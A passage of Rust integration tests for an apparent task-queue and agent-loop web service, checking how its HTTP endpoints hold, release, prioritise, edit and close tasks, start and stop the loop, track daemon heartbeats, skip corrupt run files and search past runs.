10108 seat: "judge-1".to_owned(),
10109 node: "judge".to_owned(),
10110 at: Timestamp::now(),
10111 reset: None,
10112 });
10113 });
10114 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10115 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10116 assert_eq!(v.attempt, AttemptCost::Unknown);
10117 }
10118
10119 #[test]
10120 fn the_current_pass_states_its_recorded_cause_and_cost() {
10121 let slot = || RunSlot {
10122 n: 1,
10123 resumed: false,
10124 resumed_later: None,
10125 prior: None,
10126 last: true,
10127 };
10128 let task = flow_task(&["20260902-140501-aaaa"]);
10129 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10130 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10131 assert_eq!(
10132 (v.exit, v.attempt),
10133 (RunExit::Parked, AttemptCost::Refunded)
10134 );
10135 let spent = flow_run(RunStatus::Blocked, |_| {});
10136 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10137 assert_eq!(v.attempt, AttemptCost::Spent);
10138 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10139 }
10140
10141 #[tokio::test]
10142 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10143 let f = Fixture::start().await;
10144 let queue = f.queue();
10145 let mut task = Task::new(
10146 "spent".to_owned(),
10147 "Try again".to_owned(),
10148 PathBuf::from("/repo/magi"),
10149 Source::Human,
10150 );
10151 task.start("20260902-140502-bbbb".to_owned());
10152 task.fail("agent gave up", 9);
10153 queue.put(&mut task).expect("file the task");
10154
10155 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10156 assert_eq!(held.status, 200);
10157 assert_eq!(held.json()["status_str"], "held");
10158
10159 let released = f
10160 .post(&format!("/api/queue/{}/release", task.id), None)
10161 .await;
10162 assert_eq!(released.status, 200);
10163 assert_eq!(released.json()["status_str"], "queued");
10164 assert_eq!(
10165 released.json()["attempts"],
10166 0,
10167 "release is a real second chance, not an instant re-hold"
10168 );
10169 assert_eq!(
10170 queue.get(&task.id).expect("reload").status,
10171 TaskStatus::Queued,
10172 "the change is on disk, not only in the reply"
10173 );
10174 assert!(
10175 !f.home
10176 .path()
10177 .join("queue")
10178 .join(format!("{}.lock", task.id))
10179 .exists(),
10180 "the claim the mutation took is released again"
10181 );
10182 }
10183
10184 #[tokio::test]
10185 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10186 let f = Fixture::start().await;
10187 let queue = f.queue();
10188 let mut task = Task::new(
10189 "busy".to_owned(),
10190 "Running right now".to_owned(),
10191 PathBuf::from("/repo/magi"),
10192 Source::Human,
10193 );
10194 queue.put(&mut task).expect("file the task");
10195 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10196
10197 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10198
10199 assert_eq!(res.status, 409);
10200 assert_eq!(
10201 queue.get(&task.id).expect("reload").status,
10202 TaskStatus::Queued,
10203 "the refused hold changed nothing"
10204 );
10205 }
10206
10207 #[tokio::test]
10208 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10209 let f = Fixture::start().await;
10210 let queue = f.queue();
10211 let mut task = Task::new(
10212 "waiting on the migration".to_owned(),
10213 "Do the thing".to_owned(),
10214 PathBuf::from("/repo/magi"),
10215 Source::Human,
10216 );
10217 queue.put(&mut task).expect("file the task");
10218
10219 let held = f
10220 .post(
10221 &format!("/api/queue/{}/hold", task.id),
10222 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10223 )
10224 .await;
10225 assert_eq!(held.status, 200, "{}", held.body);
10226 assert_eq!(held.json()["status_str"], "held");
10227 assert_eq!(
10228 held.json()["hold_reason"],
10229 "waiting for 20260101-000000-aaaa to land"
10230 );
10231
10232 let listed = f.get("/api/queue").await.json();
10233 assert_eq!(
10234 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10235 "the card reads the reason off the same list route"
10236 );
10237
10238 let mut plain = Task::new(
10241 "no reason given".to_owned(),
10242 "Do another thing".to_owned(),
10243 PathBuf::from("/repo/magi"),
10244 Source::Human,
10245 );
10246 queue.put(&mut plain).expect("file the task");
10247 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10248 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10249 assert!(held_plain.json()["hold_reason"].is_null());
10250
10251 let released = f
10252 .post(&format!("/api/queue/{}/release", task.id), None)
10253 .await;
10254 assert_eq!(released.status, 200);
10255 assert!(
10256 released.json()["hold_reason"].is_null(),
10257 "a release must clear the reason so the next hold does not inherit it"
10258 );
10259 }
10260
10261 #[tokio::test]
10262 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10263 let f = Fixture::start().await;
10264 let queue = f.queue();
10265 let mut older = Task::new(
10266 "filed first".to_owned(),
10267 "x".to_owned(),
10268 PathBuf::from("/repo/magi"),
10269 Source::Human,
10270 );
10271 older.id = "20260101-000001-aaaa".to_owned();
10272 let mut newer = Task::new(
10273 "filed second".to_owned(),
10274 "x".to_owned(),
10275 PathBuf::from("/repo/magi"),
10276 Source::Human,
10277 );
10278 newer.id = "20260101-000002-bbbb".to_owned();
10279 queue.put(&mut older).expect("file older");
10280 queue.put(&mut newer).expect("file newer");
10281
10282 let before = f.get("/api/queue").await.json();
10285 assert_eq!(before[0]["id"], newer.id);
10286 assert_eq!(before[1]["id"], older.id);
10287
10288 let raised = f
10292 .post(
10293 &format!("/api/queue/{}/priority", older.id),
10294 Some(r#"{"priority":10}"#),
10295 )
10296 .await;
10297 assert_eq!(raised.status, 200, "{}", raised.body);
10298 assert_eq!(raised.json()["priority"], 10);
10299
10300 let after = f.get("/api/queue").await.json();
10301 let names: Vec<&str> = after
10302 .as_array()
10303 .unwrap()
10304 .iter()
10305 .map(|t| t["id"].as_str().unwrap())
10306 .collect();
10307 assert_eq!(names[0], older.id, "the raised task now sorts first");
10311 }
10312
10313 #[tokio::test]
10314 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10315 let f = Fixture::start().await;
10316 let queue = f.queue();
10317 let mut task = Task::new(
10318 "in flight".to_owned(),
10319 "x".to_owned(),
10320 PathBuf::from("/repo/magi"),
10321 Source::Human,
10322 );
10323 task.start("20260902-140502-bbbb".to_owned());
10324 queue.put(&mut task).expect("file the task");
10325
10326 let res = f
10327 .post(
10328 &format!("/api/queue/{}/priority", task.id),
10329 Some(r#"{"priority":9}"#),
10330 )
10331 .await;
10332 assert_eq!(res.status, 400, "{}", res.body);
10333 assert!(
10334 res.json()["error"]
10335 .as_str()
10336 .is_some_and(|e| e.contains("running")),
10337 "{}",
10338 res.body
10339 );
10340 assert_eq!(
10341 queue.get(&task.id).expect("reload").priority,
10342 0,
10343 "the refused write must not partially apply"
10344 );
10345 }
10346
10347 #[tokio::test]
10348 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10349 let f = Fixture::start().await;
10350 let queue = f.queue();
10351 let mut task = Task::new(
10352 "old title".to_owned(),
10353 "old instruction".to_owned(),
10354 PathBuf::from("/repo/magi"),
10355 Source::Agent {
10356 run: "20260101-000000-beef".to_owned(),
10357 node: "implement".to_owned(),
10358 },
10359 );
10360 task.runs.push("20260101-000000-beef".to_owned());
10361 queue.put(&mut task).expect("file the task");
10362 let created_at = task.created_at;
10363
10364 let edited = f
10365 .post(
10366 &format!("/api/queue/{}/edit", task.id),
10367 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10368 )
10369 .await;
10370 assert_eq!(edited.status, 200, "{}", edited.body);
10371 let body = edited.json();
10372 assert_eq!(body["title"], "new title");
10373 assert_eq!(body["instruction"], "new instruction");
10374 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10375 assert_eq!(body["created_at"], created_at.to_string());
10376 assert_eq!(
10377 body["source"]["kind"], "agent",
10378 "editing a task an agent filed must not turn it human: {body}"
10379 );
10380 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10381
10382 let reloaded = queue.get(&task.id).expect("reload");
10383 assert_eq!(reloaded.title, "new title");
10384 assert_eq!(reloaded.instruction, "new instruction");
10385 }
10386
10387 #[tokio::test]
10388 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10389 let tmp = TempDir::new().expect("tempdir");
10392 let repo = tmp.path().join("repo");
10393 std::fs::create_dir_all(&repo).expect("repo dir");
10394 let judge = MOCK_AGENT_TOML.replace(
10395 "printf ok",
10396 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10397 );
10398 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10399 let f = Fixture::with_repo(repo.clone()).await;
10400 let queue = f.queue();
10401 let mut owner = Task::new(
10402 "owner".to_owned(),
10403 "review it".to_owned(),
10404 repo.clone(),
10405 Source::Human,
10406 );
10407 owner.review_branch = Some("magi/ab12/A".to_owned());
10408 queue.put(&mut owner).expect("file the owner");
10409 let mut task = Task::new(
10410 "draft".to_owned(),
10411 "old".to_owned(),
10412 repo.clone(),
10413 Source::Human,
10414 );
10415 queue.put(&mut task).expect("file the draft");
10416 let url = format!("/api/queue/{}/edit", task.id);
10417
10418 let refused = f
10419 .post(
10420 &url,
10421 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10422 )
10423 .await;
10424 assert_eq!(refused.status, 409, "{}", refused.body);
10425 let msg = refused.json()["error"]
10426 .as_str()
10427 .unwrap_or_default()
10428 .to_owned();
10429 assert!(
10430 msg.contains("magi/ab12/A") && msg.contains("force"),
10431 "{msg}"
10432 );
10433 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10434
10435 let forced = f
10436 .post(
10437 &url,
10438 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10439 )
10440 .await;
10441 assert_eq!(forced.status, 200, "{}", forced.body);
10442 }
10443
10444 #[tokio::test]
10445 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10446 let f = Fixture::start().await;
10447 let queue = f.queue();
10448 let mut task = Task::new(
10449 "in flight".to_owned(),
10450 "do not touch".to_owned(),
10451 PathBuf::from("/repo/magi"),
10452 Source::Human,
10453 );
10454 task.start("20260902-140502-bbbb".to_owned());
10455 queue.put(&mut task).expect("file the task");
10456
10457 let res = f
10458 .post(
10459 &format!("/api/queue/{}/edit", task.id),
10460 Some(r#"{"title":"x","instruction":"y"}"#),
10461 )
10462 .await;
10463 assert_eq!(res.status, 400, "{}", res.body);
10464 assert!(
10465 res.json()["error"]
10466 .as_str()
10467 .is_some_and(|e| e.contains("running")),
10468 "{}",
10469 res.body
10470 );
10471 assert_eq!(
10472 queue.get(&task.id).expect("reload").instruction,
10473 "do not touch",
10474 "the refused edit must not change the file"
10475 );
10476 }
10477
10478 #[tokio::test]
10479 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10480 let f = Fixture::start().await;
10481 let queue = f.queue();
10482 let mut task = Task::new(
10483 "busy".to_owned(),
10484 "Running right now".to_owned(),
10485 PathBuf::from("/repo/magi"),
10486 Source::Human,
10487 );
10488 queue.put(&mut task).expect("file the task");
10489 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10490
10491 let priority = f
10492 .post(
10493 &format!("/api/queue/{}/priority", task.id),
10494 Some(r#"{"priority":9}"#),
10495 )
10496 .await;
10497 assert_eq!(priority.status, 409, "{}", priority.body);
10498
10499 let edit = f
10500 .post(
10501 &format!("/api/queue/{}/edit", task.id),
10502 Some(r#"{"title":"x","instruction":"y"}"#),
10503 )
10504 .await;
10505 assert_eq!(edit.status, 409, "{}", edit.body);
10506 }
10507
10508 #[tokio::test]
10509 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10510 let f = Fixture::start().await;
10511 let queue = f.queue();
10512 let mut task = Task::new(
10513 "shipped by hand".to_owned(),
10514 "merged outside the loop".to_owned(),
10515 PathBuf::from("/repo/magi"),
10516 Source::Agent {
10517 run: "20260101-000000-b455".to_owned(),
10518 node: "implement".to_owned(),
10519 },
10520 );
10521 task.runs.push("20260101-000000-b455".to_owned());
10522 task.runs.push("20260101-000000-9af4".to_owned());
10523 queue.put(&mut task).expect("file the task");
10524 let created_at = task.created_at;
10525
10526 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10527 assert_eq!(done.status, 200, "{}", done.body);
10528 assert_eq!(done.json()["status_str"], "done");
10529
10530 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10531 assert_eq!(
10532 reloaded.runs,
10533 ["20260101-000000-b455", "20260101-000000-9af4"]
10534 );
10535 assert_eq!(
10536 reloaded.source,
10537 Source::Agent {
10538 run: "20260101-000000-b455".to_owned(),
10539 node: "implement".to_owned(),
10540 }
10541 );
10542 assert_eq!(reloaded.created_at, created_at);
10543 }
10544
10545 #[tokio::test]
10546 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10547 let f = Fixture::start().await;
10552 let queue = f.queue();
10553 let mut task = Task::new(
10554 "landed while held".to_owned(),
10555 "x".to_owned(),
10556 PathBuf::from("/repo/magi"),
10557 Source::Human,
10558 );
10559 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10560 queue.put(&mut task).expect("file the held task");
10561
10562 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10563 assert_eq!(done.status, 200, "{}", done.body);
10564 assert_eq!(done.json()["status_str"], "done");
10565 assert!(
10566 done.json()["hold_reason"].is_null(),
10567 "a done task cannot still be waiting on something: {}",
10568 done.body
10569 );
10570 }
10571
10572 #[tokio::test]
10573 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10574 let f = Fixture::start().await;
10579 let queue = f.queue();
10580 let runs = f.runs();
10581 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10582 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10586
10587 let mut task = Task::new(
10588 "landed by hand".to_owned(),
10589 "x".to_owned(),
10590 PathBuf::from("/repo/magi"),
10591 Source::Human,
10592 );
10593 task.runs.push("20260101-000000-doa1".to_owned());
10594 task.runs.push("20260101-000000-doa2".to_owned());
10595 queue.put(&mut task).expect("file the task");
10596
10597 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10598 assert_eq!(done.status, 200, "{}", done.body);
10599
10600 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10601 .expect("run still on disk under this fixture's own home");
10602 assert_eq!(
10603 reloaded_run.status,
10604 RunStatus::Superseded,
10605 "closing the task by hand must relabel the earlier blocked attempt exactly \
10606 like the loop's own settle path does"
10607 );
10608 }
10609
10610 #[tokio::test]
10611 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10612 let f = Fixture::start().await;
10617 let queue = f.queue();
10618 let runs = f.runs();
10619 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10620 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10621
10622 let mut task = Task::new(
10623 "closed with nothing actually landed".to_owned(),
10624 "x".to_owned(),
10625 PathBuf::from("/repo/magi"),
10626 Source::Human,
10627 );
10628 task.runs.push("20260101-000000-dob1".to_owned());
10629 task.runs.push("20260101-000000-dob2".to_owned());
10630 queue.put(&mut task).expect("file the task");
10631
10632 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10633 assert_eq!(done.status, 200, "{}", done.body);
10634
10635 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10636 .expect("run still on disk under this fixture's own home");
10637 assert_eq!(
10638 reloaded_run.status,
10639 RunStatus::Blocked,
10640 "the last recorded attempt never landed, so the earlier one must not be \
10641 relabelled as superseded by it"
10642 );
10643 }
10644
10645 #[tokio::test]
10646 async fn unknown_ids_are_json_not_found_on_both_stores() {
10647 let f = Fixture::start().await;
10648
10649 let run = f.get("/api/runs/nosuchrun").await;
10650 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10651
10652 assert_eq!(run.status, 404);
10653 assert_eq!(task.status, 404);
10654 assert!(
10655 run.json()["error"]
10656 .as_str()
10657 .is_some_and(|e| e.contains("run")),
10658 "the error names what was not found: {}",
10659 run.body
10660 );
10661 assert!(
10662 task.json()["error"]
10663 .as_str()
10664 .is_some_and(|e| e.contains("task")),
10665 "the error names what was not found: {}",
10666 task.body
10667 );
10668 }
10669
10670 #[tokio::test]
10671 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10672 let f = Fixture::start().await;
10673
10674 let missing = f.get("/api/health").await.json();
10675 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10676
10677 write_daemon(
10678 f.home.path(),
10679 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10680 );
10681 let stale = f.get("/api/health").await.json();
10682 assert_eq!(
10683 stale["daemon"]["running"], false,
10684 "a minute without a heartbeat is a dead daemon, not a busy one"
10685 );
10686 assert!(
10687 stale["daemon"]["stale_for_secs"]
10688 .as_i64()
10689 .is_some_and(|s| s >= 55),
10690 "staleness is reported so the UI can say how long: {stale}"
10691 );
10692
10693 write_daemon(f.home.path(), Timestamp::now());
10694 let fresh = f.get("/api/health").await.json();
10695 assert_eq!(fresh["daemon"]["running"], true);
10696 assert_eq!(fresh["daemon"]["idle"], false);
10697 assert_eq!(fresh["daemon"]["pid"], 4242);
10698 assert_eq!(fresh["daemon"]["completed"], 7);
10699 assert_eq!(
10700 fresh["daemon"]["current"][0]["task"],
10701 "20260902-140501-aaaa"
10702 );
10703 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10704 }
10705
10706 #[tokio::test]
10707 async fn the_loop_is_not_running_until_something_starts_it() {
10708 let f = Fixture::start().await;
10709
10710 let view = f.get("/api/loop").await.json();
10711 assert_eq!(view["running"], false);
10712 assert_eq!(
10713 view["owned"], false,
10714 "nobody owns a loop that does not exist: {view}"
10715 );
10716 assert_eq!(view["stopping"], false);
10717 assert_eq!(view["last_error"], Value::Null);
10718 assert_eq!(view["daemon"]["running"], false);
10719 assert_eq!(
10720 view["repo"], "/repo/magi",
10721 "the repository a start would use, named before it is started"
10722 );
10723 }
10724
10725 #[tokio::test]
10726 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10727 let f = Fixture::start().await;
10728
10729 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10730 assert_eq!(res.status, 200, "{}", res.body);
10731 let view = res.json();
10732 assert_eq!(view["running"], true);
10733 assert_eq!(
10734 view["owned"], true,
10735 "the loop the UI started is the UI's own to stop: {view}"
10736 );
10737 assert_eq!(
10738 view["merge"],
10739 Value::Null,
10740 "no override was given, so each repository's own config decides"
10741 );
10742
10743 let health = f.get("/api/health").await.json();
10747 assert_eq!(health["loop"]["running"], true, "{health}");
10748 assert_eq!(health["loop"]["owned"], true, "{health}");
10749
10750 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10751 }
10752
10753 #[tokio::test]
10754 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10755 let f = Fixture::start().await;
10756 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10757 assert_eq!(first.status, 200, "{}", first.body);
10758
10759 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10760 assert_eq!(
10761 again.status, 409,
10762 "two loops on one queue race for the same claims: {}",
10763 again.body
10764 );
10765 assert!(
10766 again.json()["error"]
10767 .as_str()
10768 .is_some_and(|e| e.contains("already running the loop")),
10769 "the refusal has to say why: {}",
10770 again.body
10771 );
10772 assert_eq!(
10773 f.get("/api/loop").await.json()["running"],
10774 true,
10775 "and the loop that was already running is untouched by it"
10776 );
10777
10778 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10779 }
10780
10781 #[tokio::test]
10782 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10783 let f = Fixture::start().await;
10784 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10785
10786 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10787 assert_eq!(
10788 res.status, 200,
10789 "the answer must not wait for the loop: a run in flight is tens of \
10790 minutes and the operator is holding a phone: {}",
10791 res.body
10792 );
10793
10794 let view = settled(&f, |v| v["running"] == false).await;
10795 assert_eq!(view["owned"], false);
10796 assert_eq!(
10797 view["stopping"], false,
10798 "a loop that has stopped is not still stopping: {view}"
10799 );
10800 assert_eq!(
10801 view["last_error"],
10802 Value::Null,
10803 "a loop that was asked to stop did not fail: {view}"
10804 );
10805
10806 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10809 assert_eq!(twice.status, 200, "{}", twice.body);
10810 }
10811
10812 #[tokio::test]
10813 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10814 let f = Fixture::start().await;
10815 write_daemon(f.home.path(), Timestamp::now());
10818
10819 let view = f.get("/api/loop").await.json();
10820 assert_eq!(view["running"], false, "not in this process: {view}");
10821 assert_eq!(view["owned"], false, "and not this process's to control");
10822 assert_eq!(
10823 view["daemon"]["running"], true,
10824 "but a loop is alive somewhere, which is what the UI must say"
10825 );
10826 assert_eq!(view["daemon"]["pid"], 4242);
10827
10828 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10829 let res = f.post("/api/loop", Some(body)).await;
10830 assert_eq!(
10831 res.status, 409,
10832 "neither button may pretend to work on someone else's loop: {}",
10833 res.body
10834 );
10835 assert!(
10836 res.json()["error"]
10837 .as_str()
10838 .is_some_and(|e| e.contains("4242")),
10839 "the refusal has to name the process the operator must go to: {}",
10840 res.body
10841 );
10842 }
10843 assert_eq!(
10844 f.get("/api/loop").await.json()["running"],
10845 false,
10846 "and the refusal started nothing"
10847 );
10848 }
10849
10850 #[tokio::test]
10851 async fn a_stale_status_file_is_not_a_foreign_owner() {
10852 let f = Fixture::start().await;
10853 write_daemon(
10854 f.home.path(),
10855 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10856 );
10857
10858 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10859 assert_eq!(
10860 res.status, 200,
10861 "a daemon killed a minute ago must not lock the loop out of its \
10862 own home for good: {}",
10863 res.body
10864 );
10865 assert_eq!(res.json()["running"], true);
10866
10867 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10868 }
10869
10870 #[tokio::test]
10871 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10872 let f = Fixture::start().await;
10873 let before = f.get("/api/health").await.json()["loop_rev"]
10874 .as_u64()
10875 .expect("a loop revision");
10876
10877 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10878
10879 let after = f.get("/api/health").await.json()["loop_rev"]
10880 .as_u64()
10881 .expect("a loop revision");
10882 assert!(
10883 after > before,
10884 "the loop is in-process state, so this counter is the only thing \
10885 that tells a second device the first one started it: {before} -> \
10886 {after}"
10887 );
10888
10889 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10890 }
10891
10892 #[tokio::test]
10893 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10894 let f = Fixture::with_loop(launch_broken).await;
10895
10896 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10897 assert_eq!(
10898 res.status, 200,
10899 "starting it is not the failure: {}",
10900 res.body
10901 );
10902
10903 let view = settled(&f, |v| v["last_error"].is_string()).await;
10904 assert_eq!(
10905 view["running"], false,
10906 "a loop that died must not read as running, or the operator has \
10907 nothing to press: {view}"
10908 );
10909 assert_eq!(view["owned"], false);
10910 assert!(
10911 view["last_error"]
10912 .as_str()
10913 .is_some_and(|e| e.contains("read-only file system")),
10914 "the phone is where a loop that died at 3am is visible: {view}"
10915 );
10916
10917 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10920 assert_eq!(again.status, 200, "{}", again.body);
10921 assert!(
10922 again.json()["last_error"]
10923 .as_str()
10924 .is_none_or(|e| !e.contains("read-only file system")),
10925 "a fresh start does not keep showing why the last one died: {}",
10926 again.body
10927 );
10928 }
10929
10930 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10942 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10943 let home = TempDir::new().expect("temp home");
10944 let runs = home.path().join("runs");
10945 std::fs::create_dir_all(&runs).expect("runs dir");
10946 let ui = Ui::new(
10947 Queue::at(home.path().join("queue")),
10948 Questions::at(home.path().join("questions")),
10949 Talks::at(home.path().join("talks")),
10950 runs,
10951 home.path().to_path_buf(),
10952 PathBuf::from("/repo/magi"),
10953 )
10954 .with_worktrees_root(home.path().join("wt"))
10955 .with_launch(launch_knocking_on_the_way_out);
10956 let looping = ui.looping();
10957 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10958 .await
10959 .expect("bind loopback");
10960 let addr = listener.local_addr().expect("local addr");
10961 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10962 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10963
10964 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10965 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10966
10967 let bound = std::sync::Mutex::new(None);
10982 hand_over(home.path(), &looping, served, |_| {
10983 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10984 let attempt = loop {
10985 match std::net::TcpListener::bind(addr) {
10986 Ok(l) => {
10987 drop(l);
10988 break Ok(());
10989 }
10990 Err(e)
10991 if e.kind() == std::io::ErrorKind::AddrInUse
10992 && std::time::Instant::now() < deadline =>
10993 {
10994 std::thread::sleep(std::time::Duration::from_millis(10));
10995 }
10996 Err(e) => break Err(e.to_string()),
10997 }
10998 };
10999 *bound.lock().expect("bound") = Some(attempt);
11000 Ok(1)
11001 })
11002 .await
11003 .expect("hand over");
11004
11005 assert_eq!(
11006 *PARK_HEARD.lock().expect("park heard"),
11007 Some(200),
11008 "the deck must answer while the loop is parking"
11009 );
11010 let attempt = bound
11011 .lock()
11012 .expect("bound")
11013 .take()
11014 .expect("the successor was started");
11015 assert!(
11016 attempt.is_ok(),
11017 "and the address must be free by the time it is: {attempt:?}"
11018 );
11019 }
11020
11021 #[tokio::test]
11022 async fn a_newer_daemon_status_file_still_renders() {
11023 let f = Fixture::start().await;
11024 std::fs::write(
11027 f.home.path().join("daemon.json"),
11028 serde_json::json!({
11029 "schema": 2,
11030 "updated_at": Timestamp::now().to_string(),
11031 "idle": true,
11032 "surprise": { "nested": [1, 2, 3] },
11033 })
11034 .to_string(),
11035 )
11036 .expect("write daemon.json");
11037
11038 let health = f.get("/api/health").await;
11039
11040 assert_eq!(health.status, 200);
11041 assert_eq!(health.json()["daemon"]["running"], true);
11042 }
11043
11044 #[tokio::test]
11045 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11046 let f = Fixture::start().await;
11047 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11048 let broken = f.runs().join("20260902-140502-bad");
11049 std::fs::create_dir_all(&broken).expect("run dir");
11050 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11051
11052 let list = f.get("/api/runs").await;
11053 let detail = f.get("/api/runs/20260902-140502-bad").await;
11054
11055 assert_eq!(list.status, 200);
11056 let listed = list.json();
11057 let ids: Vec<&str> = listed
11058 .as_array()
11059 .expect("an array")
11060 .iter()
11061 .map(|r| r["id"].as_str().expect("an id"))
11062 .collect();
11063 assert_eq!(
11064 ids,
11065 vec!["20260902-140501-good"],
11066 "one unreadable run must not cost the operator the whole history"
11067 );
11068 assert_eq!(detail.status, 500);
11069 assert!(
11070 detail.json()["error"]
11071 .as_str()
11072 .is_some_and(|e| e.contains("run.json")),
11073 "the failure names the file to look at: {}",
11074 detail.body
11075 );
11076 let health = f.get("/api/health").await;
11080 assert_eq!(health.json()["runs_unreadable"], 1);
11081 }
11082
11083 #[tokio::test]
11085 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11086 let f = Fixture::start().await;
11087 let runs = f.runs();
11088 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11089 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11090 let path = runs.join("20260902-140502-bbbb").join("run.json");
11093 let mut v: serde_json::Value =
11094 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11095 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11096 std::fs::write(&path, v.to_string()).unwrap();
11097 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11098 std::fs::write(
11099 runs.join("20260902-140503-cccc").join("run.json"),
11100 "{ not json",
11101 )
11102 .unwrap();
11103
11104 let res = f.get("/api/search?scope=runs&q=quokka").await;
11105 assert_eq!(res.status, 200, "{}", res.body);
11106 let v = res.json();
11107 assert_eq!(v["total"], 1, "{v}");
11108 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11109 assert_eq!(v["hits"][0]["field"], "text");
11110 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11111 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11112 assert!(
11113 parts
11114 .iter()
11115 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11116 "{v}"
11117 );
11118 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11119 assert_eq!(
11120 flat, "The Quokka leaks across threads",
11121 "whitespace is collapsed"
11122 );
11123
11124 let both = f
11126 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11127 .await
11128 .json();
11129 assert_eq!(both["total"], 1, "{both}");
11130 let neither = f
11131 .get("/api/search?scope=runs&q=quokka%20zebra")
11132 .await
11133 .json();
11134 assert_eq!(neither["total"], 0, "{neither}");
11135 let stmt = f
11137 .get("/api/search?scope=runs&q=mobile%20first")
